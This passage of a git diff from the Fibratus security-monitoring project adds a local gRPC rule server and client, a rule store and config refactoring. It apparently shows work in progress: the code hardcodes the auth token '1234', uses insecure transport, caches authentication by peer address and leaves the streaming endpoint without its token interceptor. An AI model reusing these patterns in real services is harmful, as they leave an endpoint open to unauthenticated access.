!e.r.ContainsEvent(typ) { + if !e.rcr.ContainsEvent(typ) { config.EventSource.SetDropMask(typ) } } diff --git a/internal/server/grpc/rule.go b/internal/server/grpc/rule.go new file mode 100644 index 000000000..d1f55f606 --- /dev/null +++ b/internal/server/grpc/rule.go @@ -0,0 +1,123 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package grpc + +import ( + "context" + "sync" + + rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + "github.com/rabbitstack/fibratus/internal/server/rulestore" + log "github.com/sirupsen/logrus" + "google.golang.org/grpc" +) + +type RuleServiceServer struct { + rulesapi.UnimplementedRuleServiceServer + streams map[string]*ruleStream + mu sync.RWMutex + store rulestore.Store + errsc chan error +} + +type ruleStream struct { + id string + stream grpc.ServerStreamingServer[rulesapi.StreamResponse] + msgsc chan *rulesapi.StreamResponse + ctx context.Context + cancel context.CancelFunc +} + +func (r *RuleServiceServer) List(ctx context.Context, req *rulesapi.ListRequest) (*rulesapi.ListResponse, error) { + rs, err := r.store.List() + if err != nil { + return nil, err + } + return &rulesapi.ListResponse{Ruleset: rs}, nil +} + +func (r *RuleServiceServer) Stream(req *rulesapi.StreamRequest, stream grpc.ServerStreamingServer[rulesapi.StreamResponse]) error { + log.Info("new endpoint connected for rule streaming") + + r.addStream("1", stream) + + <-stream.Context().Done() // Block until client disconnects + r.removeStream("1") + + log.Info("endpoint disconnected from rule streaming") + + return nil +} + +func (r *RuleServiceServer) addStream(id string, stream grpc.ServerStreamingServer[rulesapi.StreamResponse]) { + ctx, cancel := context.WithCancel(stream.Context()) + s := &ruleStream{ + id: id, + stream: stream, + msgsc: make(chan *rulesapi.StreamResponse, 100), + ctx: ctx, + cancel: cancel, + } + + r.mu.Lock() + defer r.mu.Unlock() + r.streams[id] = s + + go r.handleStream(s) +} + +func (r *RuleServiceServer) removeStream(id string) { + r.mu.Lock() + defer r.mu.Unlock() + if c, ok := r.streams[id]; ok { + c.cancel() + close(c.msgsc) + delete(r.streams, id) + } +} + +func (r *RuleServiceServer) handleStream(s *ruleStream) { + for { + select { + case msg := <-s.msgsc: + if err := s.stream.Send(msg); err != nil { + r.removeStream(s.id) + return + } + case <-s.ctx.Done(): + r.removeStream(s.id) + return + } + } +} + +func (r *RuleServiceServer) broadcast(msg *rulesapi.StreamResponse) { + r.mu.RLock() + defer r.mu.RUnlock() + + for _, c := range r.streams { + select { + case c.msgsc <- msg: + log.Info("sending ruleset message") + // sent successfully + default: + // buffer full → drop message + } + } +} diff --git a/internal/server/grpc/server.go b/internal/server/grpc/server.go new file mode 100644 index 000000000..6c64ba352 --- /dev/null +++ b/internal/server/grpc/server.go @@ -0,0 +1,167 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package grpc + +import ( + "context" + "net" + "sync" + + rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + "github.com/rabbitstack/fibratus/internal/server/rulestore" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/peer" + "google.golang.org/grpc/status" +) + +type Server struct { + grpcServer *grpc.Server +} + +func NewServer() *Server { + opts := []grpc.ServerOption{ + grpc.UnaryInterceptor(authUnaryInterceptor("1234")), + } + + s := grpc.NewServer(opts...) + + rulesapi.RegisterRuleServiceServer(s, &RuleServiceServer{ + streams: make(map[string]*ruleStream), + store: rulestore.NewFS(), + }) + + return &Server{grpcServer: s} +} + +func (s *Server) Run() error { + lis, err := net.Listen("tcp", "127.0.0.1:8090") + if err != nil { + return err + } + return s.grpcServer.Serve(lis) +} + +func authUnaryInterceptor(validToken string) grpc.UnaryServerInterceptor { + return func( + ctx context.Context, + req any, + info *grpc.UnaryServerInfo, + handler grpc.UnaryHandler, + ) (any, error) { + + // 1Already authenticated in this call chain? + if ok, _ := ctx.Value(authKey{}).(bool); ok { + // Fast path — no revalidation needed + return handler(ctx, req) + } + + // Check if we've validated this connection before + p, ok := peer.FromContext(ctx) + if ok { + if v, found := authCache.Load(p.Addr.String()); found && v.(bool) { + // Cache hit: mark context authenticated and continue + ctx = context.WithValue(ctx, authKey{}, true) + return handler(ctx, req) + } + } + + // Validate metadata credentials + md, ok := metadata.FromIncomingContext(ctx) + if !ok { + return nil, status.Error(codes.Unauthenticated, "missing metadata") + } + + tokens := md.Get("authorization") + if len(tokens) == 0 || tokens[0] != validToken { + return nil, status.Error(codes.Unauthenticated, "invalid token") + } + + // Store validation result and mark context + if ok && p.Addr != nil { + authCache.Store(p.Addr.String(), true) + } + + ctx = context.WithValue(ctx, authKey{}, true) + return handler(ctx, req) + } +} + +type authKey struct{} + +var authCache sync.Map // key: peer.Addr.String(), value: bool + +func authStreamInterceptor(validToken string) grpc.StreamServerInterceptor { + return func( + srv interface{}, + ss grpc.ServerStream, + info *grpc.StreamServerInfo, + handler grpc.StreamHandler, + ) error { + ctx := ss.Context() + + // Fast path: already authenticated in context + if ok, _ := ctx.Value(authKey{}).(bool); ok { + return handler(srv, ss) + } + + // Check if this connection is already validated + var p *peer.Peer + if peerInfo, ok := peer.FromContext(ctx); ok { + p = peerInfo + if v, found := authCache.Load(p.Addr.String()); found && v.(bool) { + ctx = context.WithValue(ctx, authKey{}, true) + // wrap the stream with new context + wrapped := &wrappedStream{ServerStream: ss, ctx: ctx} + return handler(srv, wrapped) + } + } + + // Validate the metadata + md, ok := metadata.FromIncomingContext(ctx) + if !ok { + return status.Error(codes.Unauthenticated, "missing metadata") + } + + tokens := md.Get("authorization") + if len(tokens) == 0 || tokens[0] != validToken { + return status.Error(codes.Unauthenticated, "invalid token") + } + + // Mark as authenticated for this connection + if p != nil && p.Addr != nil { + authCache.Store(p.Addr.String(), true) + } + + ctx = context.WithValue(ctx, authKey{}, true) + wrapped := &wrappedStream{ServerStream: ss, ctx: ctx} + return handler(srv, wrapped) + } +} + +// wrappedStream injects a new context into the stream +type wrappedStream struct { + grpc.ServerStream + ctx context.Context +} + +func (w *wrappedStream) Context() context.Context { + return w.ctx +} diff --git a/internal/server/rulestore/fs.go b/internal/server/rulestore/fs.go new file mode 100644 index 000000000..42f47541a --- /dev/null +++ b/internal/server/rulestore/fs.go @@ -0,0 +1,52 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package rulestore + +import ( + "context" + + rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + "github.com/rabbitstack/fibratus/pkg/rules" +) + +type fs struct { + loader *rules.Loader +} + +func NewFS() Store { + return &fs{ + loader: rules.NewLoader(), + } +} + +func (s *fs) List() (*rulesapi.RuleSet, error) { + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + rs, err := s.loader.Load(ctx, + rules.WithRulePaths("C:\\Fibratus\\fibratus\\rules\\*.yml"), + rules.WithMacroPaths("C:\\Fibratus\\fibratus\\rules\\macros\\*.yml")) + if err != nil { + return nil, err + } + return rs.ToProto(), nil +} + +func (s *fs) Watch() (<-chan *rulesapi.RuleSet, <-chan error) { + return nil, nil +} diff --git a/internal/server/rulestore/store.go b/internal/server/rulestore/store.go new file mode 100644 index 000000000..c38c84c80 --- /dev/null +++ b/internal/server/rulestore/store.go @@ -0,0 +1,8 @@ +package rulestore + +import rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + +type Store interface { + List() (*rulesapi.RuleSet, error) + Watch() (<-chan *rulesapi.RuleSet, <-chan error) +} diff --git a/make.bat b/make.bat index f224e3e65..7dc41473c 100644 --- a/make.bat +++ b/make.bat @@ -15,6 +15,7 @@ set PYTHON_VER=3.7.9 set PYTHON_URL=https://www.python.org/ftp/python/%PYTHON_VER%/python-%PYTHON_VER%-embed-amd64.zip set WIX_VERSION=5.0.0 +set BUF_VERSION=1.59.0 set GOBIN=%USERPROFILE%\go\bin @@ -56,6 +57,7 @@ if "%~1"=="install" goto install if "%~1"=="deps" goto deps if "%~1"=="rsrc" goto rsrc if "%~1"=="mc" goto mc +if "%~1"=="install-buf" goto install-buf :build :: set PKG_CONFIG_PATH=pkg-config @@ -211,6 +213,10 @@ timeout 2 > NUL type install.log goto :EOF +:install-buf +go install github.com/bufbuild/buf/cmd/buf@v%BUF_VERSION% || goto :fail +goto :EOF + :fail echo Failed with error #%errorlevel%. exit /b %errorlevel% diff --git a/pkg/client/backoff.go b/pkg/client/backoff.go new file mode 100644 index 000000000..637fedc19 --- /dev/null +++ b/pkg/client/backoff.go @@ -0,0 +1,55 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package client + +import ( + "time" + + "github.com/cenkalti/backoff/v4" +) + +type expBackOff struct { + b *backoff.ExponentialBackOff +} + +func newExpBackOff(maxElapsedTime time.Duration) *expBackOff { + b := &expBackOff{ + b: &backoff.ExponentialBackOff{ + InitialInterval: time.Second, + RandomizationFactor: backoff.DefaultRandomizationFactor, + Multiplier: backoff.DefaultMultiplier, + MaxInterval: time.Second * 10, + MaxElapsedTime: maxElapsedTime, + Stop: backoff.Stop, + Clock: backoff.SystemClock, + }, + } + + b.b.Reset() + + return b +} + +func (b *expBackOff) retry(o func() error) error { + return backoff.Retry(o, b.b) +} + +func (b *expBackOff) nextBackOff() time.Duration { + return b.b.NextBackOff() +} diff --git a/pkg/client/client.go b/pkg/client/client.go new file mode 100644 index 000000000..3fe806786 --- /dev/null +++ b/pkg/client/client.go @@ -0,0 +1,127 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package client + +import ( + "context" + "fmt" + "net" + "time" + + rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + "github.com/rabbitstack/fibratus/pkg/ruleset" + "google.golang.org/grpc" + "google.golang.org/grpc/backoff" + "google.golang.org/grpc/credentials/insecure" + "google.golang.org/grpc/metadata" +) + +const ( + // DefaultMaxRecvMsgSize defines the default maximum message size for + // receiving protobufs passed over the GRPC API. + DefaultMaxRecvMsgSize = 16 << 20 + // DefaultMaxSendMsgSize defines the default maximum message size for + // sending protobufs passed over the GRPC API. + DefaultMaxSendMsgSize = 16 << 20 +) + +type Client interface { + ListRules(context.Context, *RuleListOptions) (*ruleset.RuleSet, error) + WatchRules(context.Context) (<-chan *ruleset.RuleSet, <-chan error) +} + +type client struct { + conn *grpc.ClientConn + + ruleStore *RuleStore +} + +// New the call to the constructor returns immediately +// and the connection to the server is performed in the +// background. +func New() (Client, error) { + backoffConfig := backoff.DefaultConfig + backoffConfig.MaxDelay = time.Second * 20 + connParams := grpc.ConnectParams{ + Backoff: backoffConfig, + MinConnectTimeout: time.Second * 20, + } + + opts := []grpc.DialOption{ + grpc.WithTransportCredentials(insecure.NewCredentials()), + grpc.WithConnectParams(connParams), + grpc.WithContextDialer(func(ctx context.Context, addr string) (net.Conn, error) { + d := net.Dialer{} + c, err := d.DialContext(ctx, "tcp", addr) + if err != nil { + return nil, err + } + return c, nil + }), + } + + opts = append(opts, grpc.WithDefaultCallOptions( + grpc.MaxCallRecvMsgSize(DefaultMaxRecvMsgSize), + grpc.MaxCallSendMsgSize(DefaultMaxSendMsgSize))) + + md := map[string]string{"authorization": "1234"} + opts = append(opts, grpc.WithUnaryInterceptor(metadataUnaryInterceptor(md))) + + connector := func() (*grpc.ClientConn, error) { + conn, err := grpc.NewClient("localhost:8090", opts...) + if err != nil { + return nil, fmt.Errorf("failed to dial %q: %w", "localhost:8090", err) + } + return conn, nil + } + conn, err := connector() + if err != nil { + return nil, err + } + + c := &client{ + conn: conn, + ruleStore: &RuleStore{client: rulesapi.NewRuleServiceClient(conn)}, + } + + return c, nil +} + +func (c *client) ListRules(ctx context.Context, opts *RuleListOptions) (*ruleset.RuleSet, error) { + return c.ruleStore.List(ctx, opts) +} + +func (c *client) WatchRules(ctx context.Context) (<-chan *ruleset.RuleSet, <-chan error) { + return c.ruleStore.Stream(ctx) +} + +func metadataUnaryInterceptor(meta map[string]string) grpc.UnaryClientInterceptor { + return func( + ctx context.Context, + method string, + req, reply any, + cc *grpc.ClientConn, + invoker grpc.UnaryInvoker, + opts ...grpc.CallOption, + ) error { + md := metadata.New(meta) + ctx = metadata.NewOutgoingContext(ctx, md) + return invoker(ctx, method, req, reply, cc, opts...) + } +} diff --git a/pkg/client/rulestore.go b/pkg/client/rulestore.go new file mode 100644 index 000000000..384dd89e6 --- /dev/null +++ b/pkg/client/rulestore.go @@ -0,0 +1,130 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package client + +import ( + "context" + "errors" + "time" + + rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + "github.com/rabbitstack/fibratus/pkg/ruleset" + log "github.com/sirupsen/logrus" +) + +// RuleListOptions defines the options used to obtain the ruleset. +type RuleListOptions struct { + WithBackoff bool + ListYara bool + MaxBackoff time.Duration +} + +type RuleStore struct { + client rulesapi.RuleServiceClient +} + +func (r *RuleStore) List(ctx context.Context, opts *RuleListOptions) (*ruleset.RuleSet, error) { + req := &rulesapi.ListRequest{ + ListYara: opts.ListYara, + } + resp, err := r.client.List(ctx, req) + if err != nil && !opts.WithBackoff { + return nil, err + } + + if err != nil { + maxBackoff := opts.MaxBackoff + if maxBackoff == 0 { + maxBackoff = time.Minute * 15 + } + b := newExpBackOff(maxBackoff) + + err = b.retry(func() error { + select { + case <-ctx.Done(): + if errors.Is(ctx.Err(), context.Canceled) { + // stop retrying + return nil + } + default: + } + resp, err = r.client.List(ctx, req) + if err != nil { + log.Warnf("unable to fetch rules from the server: %s. Retrying in %v...", err, b.nextBackOff()) + } + return err + }) + + if err != nil { + return nil, err + } + if resp == nil && err == nil { + return nil, context.Canceled + } + return fromRuleSetProto(resp.Ruleset), nil + } + + return fromRuleSetProto(resp.Ruleset), nil +} + +func (r *RuleStore) Stream(ctx context.Context) (ch <-chan *ruleset.RuleSet, errs <-chan error) { + var ( + evq = make(chan *ruleset.RuleSet) + errq = make(chan error, 1) + ) + + errs = errq + ch = evq + + stream, err := r.client.Stream(ctx, &rulesapi.StreamRequest{}) + if err != nil { + errq <- err + close(errq) + return + } + + go func() { + defer close(errq) + + for { + rs, err := stream.Recv() + if err != nil { + errq <- err + return + } + + select { + case evq <- fromRuleSetProto(rs.Ruleset): + case <-ctx.Done(): + if cerr := ctx.Err(); cerr != context.Canceled { + errq <- cerr + } + return + } + } + }() + + return ch, errs +} + +func fromRuleSetProto(pb *rulesapi.RuleSet) *ruleset.RuleSet { + rs := &ruleset.RuleSet{} + rs.FromProto(pb) + return rs +} diff --git a/pkg/config/alertsender.go b/pkg/config/alertsender.go index 06f033088..fb48d2e85 100644 --- a/pkg/config/alertsender.go +++ b/pkg/config/alertsender.go @@ -21,12 +21,13 @@ package config import ( "errors" "fmt" + "reflect" + "github.com/rabbitstack/fibratus/pkg/alertsender" "github.com/rabbitstack/fibratus/pkg/alertsender/eventlog" "github.com/rabbitstack/fibratus/pkg/alertsender/mail" "github.com/rabbitstack/fibratus/pkg/alertsender/slack" "github.com/rabbitstack/fibratus/pkg/alertsender/systray" - "reflect" ) var errNoAlertsendersSection = errors.New("no alertsenders section in config") @@ -56,7 +57,7 @@ func (c *Config) tryLoadAlertSenders() error { switch typ { case "mail": var mailConfig mail.Config - if err := decode(config, &mailConfig); err != nil { + if err := Decode(config, &mailConfig); err != nil { return errAlertsenderConfig(typ, err) } if !mailConfig.Enabled { @@ -69,7 +70,7 @@ func (c *Config) tryLoadAlertSenders() error { configs = append(configs, config) case "slack": var slackConfig slack.Config - if err := decode(config, &slackConfig); err != nil { + if err := Decode(config, &slackConfig); err != nil { return errAlertsenderConfig(typ, err) } if !slackConfig.Enabled { @@ -82,7 +83,7 @@ func (c *Config) tryLoadAlertSenders() error { configs = append(configs, config) case "systray": var systrayConfig systray.Config - if err := decode(config, &systrayConfig); err != nil { + if err := Decode(config, &systrayConfig); err != nil { return errAlertsenderConfig(typ, err) } if !systrayConfig.Enabled { @@ -96,7 +97,7 @@ func (c *Config) tryLoadAlertSenders() error { case "eventlog": var eventlogConfig eventlog.Config - if err := decode(config, &eventlogConfig); err != nil { + if err := Decode(config, &eventlogConfig); err != nil { return errAlertsenderConfig(typ, err) } if !eventlogConfig.Enabled { diff --git a/pkg/config/config.schema.json b/pkg/config/config.schema.json index ffe77ef80..9b85bce1a 100644 --- a/pkg/config/config.schema.json +++ b/pkg/config/config.schema.json @@ -255,18 +255,6 @@ "minLength": 4 } ] - }, - "from-urls": { - "type": [ - "array", - "null" - ], - "items": [ - { - "type": "string", - "minLength": 8 - } - ] } }, "additionalProperties": false diff --git a/pkg/config/config_windows.go b/pkg/config/config_windows.go index 59391fc97..9d3e9cf4b 100644 --- a/pkg/config/config_windows.go +++ b/pkg/config/config_windows.go @@ -21,9 +21,10 @@ package config import ( "encoding/json" "fmt" + "time" + "github.com/rabbitstack/fibratus/internal/evasion" "golang.org/x/sys/windows" - "time" "github.com/rabbitstack/fibratus/pkg/outputs/eventlog" @@ -123,12 +124,16 @@ type Config struct { // Alertsenders stores alert sender configurations Alertsenders []alertsender.Config - // Filters contains filter/rule definitions - Filters *Filters `json:"filters" yaml:"filters"` + // Filters contains filter/rule properties such as + // file paths or knobs for controlling the rule engine + Filters *FiltersConfig `json:"filters" yaml:"filters"` - // Evasion controls the detection of evasion behaviours. + // Evasion controls the detection of evasion behaviours Evasion evasion.Config `json:"evasion" yaml:"evasion"` + // ServerConfig describes Fibratus server configuration + Server ServerConfig `json:"server" yaml:"server"` + flags *pflag.FlagSet viper *viper.Viper opts *Options @@ -211,7 +216,8 @@ func NewWithOpts(options ...Option) *Config { PE: pe.Config{}, Log: log.Config{}, Aggregator: aggregator.Config{}, - Filters: &Filters{}, + Filters: &FiltersConfig{}, + Server: ServerConfig{Enabled: true}, viper: v, flags: flagSet, opts: opts, @@ -254,14 +260,6 @@ func (c Config) GetConfigFile() string { return c.viper.GetString(configFile) } -// GetFilters returns all rule filters loaded into the engine. -func (c Config) GetFilters() []*FilterConfig { - if c.Filters == nil { - return nil - } - return c.Filters.filters -} - // MustViperize adds the flag set to the Cobra command and binds them within the Viper flags. func (c *Config) MustViperize(cmd *cobra.Command) { cmd.PersistentFlags().AddFlagSet(c.flags) @@ -395,7 +393,6 @@ func (c *Config) addFlags() { c.flags.Bool(rulesEnabled, true, "Indicates if the rule engine is enabled and rules loaded") c.flags.StringSlice(rulesFromPaths, []string{filepath.Join(dir, "*")}, "Comma-separated list of rules files") c.flags.StringSlice(macrosFromPaths, []string{filepath.Join(dir, "Macros", "*")}, "Comma-separated list of macro files") - c.flags.StringSlice(rulesFromURLs, []string{}, "Comma-separated list of rules URL resources") c.flags.Bool(matchAll, true, "Indicates if the match all strategy is enabled for the rule engine. If the match all strategy is enabled, a single event can trigger multiple rules") } if c.opts.capture { diff --git a/pkg/config/decoder.go b/pkg/config/decoder.go index c63bad2cb..70b2188a7 100644 --- a/pkg/config/decoder.go +++ b/pkg/config/decoder.go @@ -19,12 +19,14 @@ package config import ( - "github.com/mitchellh/mapstructure" "net" "reflect" + + "github.com/mitchellh/mapstructure" ) -func decode(input, output interface{}) error { +// Decode decodes the config to the specific type from the raw interface. +func Decode(input, output any) error { var decoderConfig = &mapstructure.DecoderConfig{ Metadata: nil, Result: output, diff --git a/pkg/config/filters.go b/pkg/config/filters.go index 6c856cd6c..057fdf501 100644 --- a/pkg/config/filters.go +++ b/pkg/config/filters.go @@ -19,124 +19,29 @@ package config import ( - "bytes" "fmt" - "github.com/Masterminds/sprig/v3" - "github.com/rabbitstack/fibratus/pkg/event" - "github.com/rabbitstack/fibratus/pkg/util/convert" + "github.com/rabbitstack/fibratus/pkg/util/multierror" - log "github.com/sirupsen/logrus" "github.com/spf13/viper" "gopkg.in/yaml.v3" - "io" - "net" - "net/http" - u "net/url" - "os" - "path/filepath" - "slices" - "strings" - "text/template" ) -// FilterConfig is the descriptor of a single filter. -type FilterConfig struct { - ID string `json:"id" yaml:"id"` - Name string `json:"name" yaml:"name"` - Description string `json:"description" yaml:"description"` - Version string `json:"version" yaml:"version"` - Condition string `json:"condition" yaml:"condition"` - Action []FilterAction `json:"action" yaml:"action"` - Output string `json:"output" yaml:"output"` - Severity string `json:"severity" yaml:"severity"` - Labels map[string]string `json:"labels" yaml:"labels"` - Tags []string `json:"tags" yaml:"tags"` - References []string `json:"references" yaml:"references"` - Notes string `json:"notes" yaml:"notes"` - MinEngineVersion string `json:"min-engine-version" yaml:"min-engine-version"` - Enabled *bool `json:"enabled" yaml:"enabled"` - Authors []string `json:"authors" yaml:"authors"` -} - -// FilterAction wraps all possible filter actions. -type FilterAction any - -// KillAction defines an action for killing the process -// indicates by the filter field expression. -type KillAction struct{} - -// IsolateAction defines an action for isolating the host -// via firewall rules. -type IsolateAction struct { - // Whitelist contains IP addresses that should remain accessible. - Whitelist []net.IP `mapstructure:"whitelist"` -} - -// DecodeActions converts raw YAML map to -// typed action structures. -func (f FilterConfig) DecodeActions() ([]any, error) { - actions := make([]any, 0, len(f.Action)) - - dec := func(m map[string]any, o any) error { - err := decode(m, &o) - if err != nil { - return err - } - actions = append(actions, o) - return nil - } - - for _, act := range f.Action { - m, ok := act.(map[string]any) - if !ok { - continue - } - switch m["name"] { - case "kill": - var kill KillAction - if err := dec(m, kill); err != nil { - return nil, err - } - case "isolate": - var isolate IsolateAction - if err := dec(m, isolate); err != nil { - return nil, err - } - } - } - - return actions, nil -} - -// IsDisabled determines if this filter is disabled. -func (f FilterConfig) IsDisabled() bool { return f.Enabled != nil && !*f.Enabled } - -// HasLabel determines if the filter has the given label. -func (f FilterConfig) HasLabel(l string) bool { return f.Labels[l] != "" } - -// Filters contains references to rule and macro definitions. -type Filters struct { +// FiltersConfig contains references to rule and macro paths +// and controls the behaviour of the rule engine. +type FiltersConfig struct { Rules Rules `json:"rules" yaml:"rules"` Macros Macros `json:"macros" yaml:"macros"` // MatchAll indicates if the match all strategy is enabled for the rule engine. // If the match all strategy is enabled, a single event can trigger multiple rules. MatchAll bool `json:"match-all" yaml:"match-all"` - macros map[string]*Macro - filters []*FilterConfig -} - -// FiltersWithMacros builds the filter config with the map of -// predefined macros. Only used for testing purposes. -func FiltersWithMacros(macros map[string]*Macro) *Filters { - return &Filters{macros: macros, filters: make([]*FilterConfig, 0)} } // Rules contains attributes that describe the location of -// rule resources. +// rule resources and controls whether the rule engine is +// enabled. type Rules struct { Enabled bool `json:"enabled" yaml:"enabled"` FromPaths []string `json:"from-paths" yaml:"from-paths"` - FromURLs []string `json:"from-urls" yaml:"from-urls"` } // Macros contains attributes that describe the location of @@ -145,340 +50,53 @@ type Macros struct { FromPaths []string `json:"from-paths" yaml:"from-paths"` } -// Macro represents the state of the rule macro. Macros -// either expand to expressions or lists. -type Macro struct { - ID string `json:"macro" yaml:"macro"` - Description string `json:"description" yaml:"description"` - Expr string `json:"expr" yaml:"expr"` - List []string `json:"list" yaml:"list"` -} - -// ActionContext is the convenient structure -// for grouping the event that resulted in -// matched filter along with filter information. -type ActionContext struct { - // Events contains a single element simple rules - // or a list of ordered matched events for sequence - // policies - Events []*event.Event - // Filter represents the filter that matched the event - Filter *FilterConfig -} - -// UniquePids returns a set of process identifiers -// from each matched event to be used in actions -// such as the process kill action. -func (ctx *ActionContext) UniquePids() []uint32 { - pids := make(map[uint32]struct{}) - for _, e := range ctx.Events { - if e.IsCreateProcess() { - pids[e.Params.MustGetPid()] = struct{}{} - } else { - pids[e.PID] = struct{}{} - } - } - return convert.MapKeysToSlice(pids) -} - -// RulesCompileResult contains the stats of the -// compiled ruleset, like which event types or -// categories are used. This information permits -// enabling/disabling event providers/types -// dynamically. -type RulesCompileResult struct { - HasProcEvents bool - HasThreadEvents bool - HasImageEvents bool - HasFileEvents bool - HasNetworkEvents bool - HasRegistryEvents bool - HasHandleEvents bool - HasMemEvents bool - HasVAMapEvents bool - HasDNSEvents bool - HasAuditAPIEvents bool - HasThreadpoolEvents bool - UsedEvents []event.Type - NumberRules int -} - -func (r RulesCompileResult) ContainsEvent(Type event.Type) bool { - for _, ktyp := range r.UsedEvents { - if ktyp == Type { - return true - } - } - return false -} - -func (r RulesCompileResult) String() string { - m := map[string]bool{} - events := make([]string, 0) - for _, ktyp := range r.UsedEvents { - if m[ktyp.String()] { - continue - } - events = append(events, ktyp.String()) - m[ktyp.String()] = true - } - slices.Sort(events) - return fmt.Sprintf(` - HasProcEvents: %t - HasThreadEvents: %t - HasImageEvents: %t - HasFileEvents: %t - HasRegistryEvents: %t - HasNetworkEvents: %t - HasHandleEvents: %t - HasMemEvents: %t - HasVAMapEvents: %t - HasAuditAPIEvents: %t - HasDNSEvents: %t - HasThreadpoolEvents: %t - Events: %s`, - r.HasProcEvents, - r.HasThreadEvents, - r.HasImageEvents, - r.HasFileEvents, - r.HasRegistryEvents, - r.HasNetworkEvents, - r.HasHandleEvents, - r.HasMemEvents, - r.HasVAMapEvents, - r.HasAuditAPIEvents, - r.HasDNSEvents, - r.HasThreadpoolEvents, - strings.Join(events, ", "), - ) -} - const ( rulesEnabled = "filters.rules.enabled" rulesFromPaths = "filters.rules.from-paths" - rulesFromURLs = "filters.rules.from-urls" macrosFromPaths = "filters.macros.from-paths" matchAll = "filters.match-all" ) -func (f *Filters) initFromViper(v *viper.Viper) { +func (f *FiltersConfig) initFromViper(v *viper.Viper) { f.Rules.Enabled = v.GetBool(rulesEnabled) f.Rules.FromPaths = v.GetStringSlice(rulesFromPaths) - f.Rules.FromURLs = v.GetStringSlice(rulesFromURLs) f.Macros.FromPaths = v.GetStringSlice(macrosFromPaths) f.MatchAll = v.GetBool(matchAll) } -func (f Filters) HasMacros() bool { return len(f.macros) > 0 } -func (f Filters) GetMacro(id string) *Macro { return f.macros[id] } -func (f Filters) IsMacroList(id string) bool { - macro, ok := f.macros[id] - if !ok { - return false +func ValidateRuleSchema(path string, out any) error { + s, errs, err := validateSchema(rulesSchema, out) + if err != nil { + return err } - return macro.List != nil -} - -// LoadMacros from the macro library. The Go templates are applied -// on each macro file before running the YAML decoder on them. -func (f *Filters) LoadMacros() error { - f.macros = make(map[string]*Macro) - for _, p := range f.Macros.FromPaths { - paths, err := filepath.Glob(p) - if err != nil { - return err - } - for _, path := range paths { - if !isValidExt(path) { - continue - } - log.Infof("loading macros from file %s", path) - buf, err := os.ReadFile(path) - if err != nil { - return fmt.Errorf("couldn't load macros from file: %v", err) - } - // validate macro yaml structure - var out interface{} - err = yaml.Unmarshal(buf, &out) - if err != nil { - return fmt.Errorf("%q is invalid macro yaml file: %v", path, err) - } - valid, errs := validate(macrosSchema, out) - if !valid || len(errs) > 0 { - b, err := yaml.Marshal(&out) - if err == nil { - out = string(b) - } - return fmt.Errorf("invalid macro definition: \n\n"+ - "%v in %s: %v", out, path, multierror.Wrap(errs...)) - } - buf, err = renderTmpl(path, buf) - if err != nil { - return err - } - // unmarshal macros and transform to map - var macros []Macro - if err := yaml.Unmarshal(buf, ¯os); err != nil { - return err - } - for _, m := range macros { - f.macros[m.ID] = &Macro{ - ID: m.ID, - Description: m.Description, - Expr: m.Expr, - List: m.List, - } - } - } + if len(errs) > 0 { + return fmt.Errorf("invalid rule definition: \n\n"+ + "%v in %s: %v", s, path, 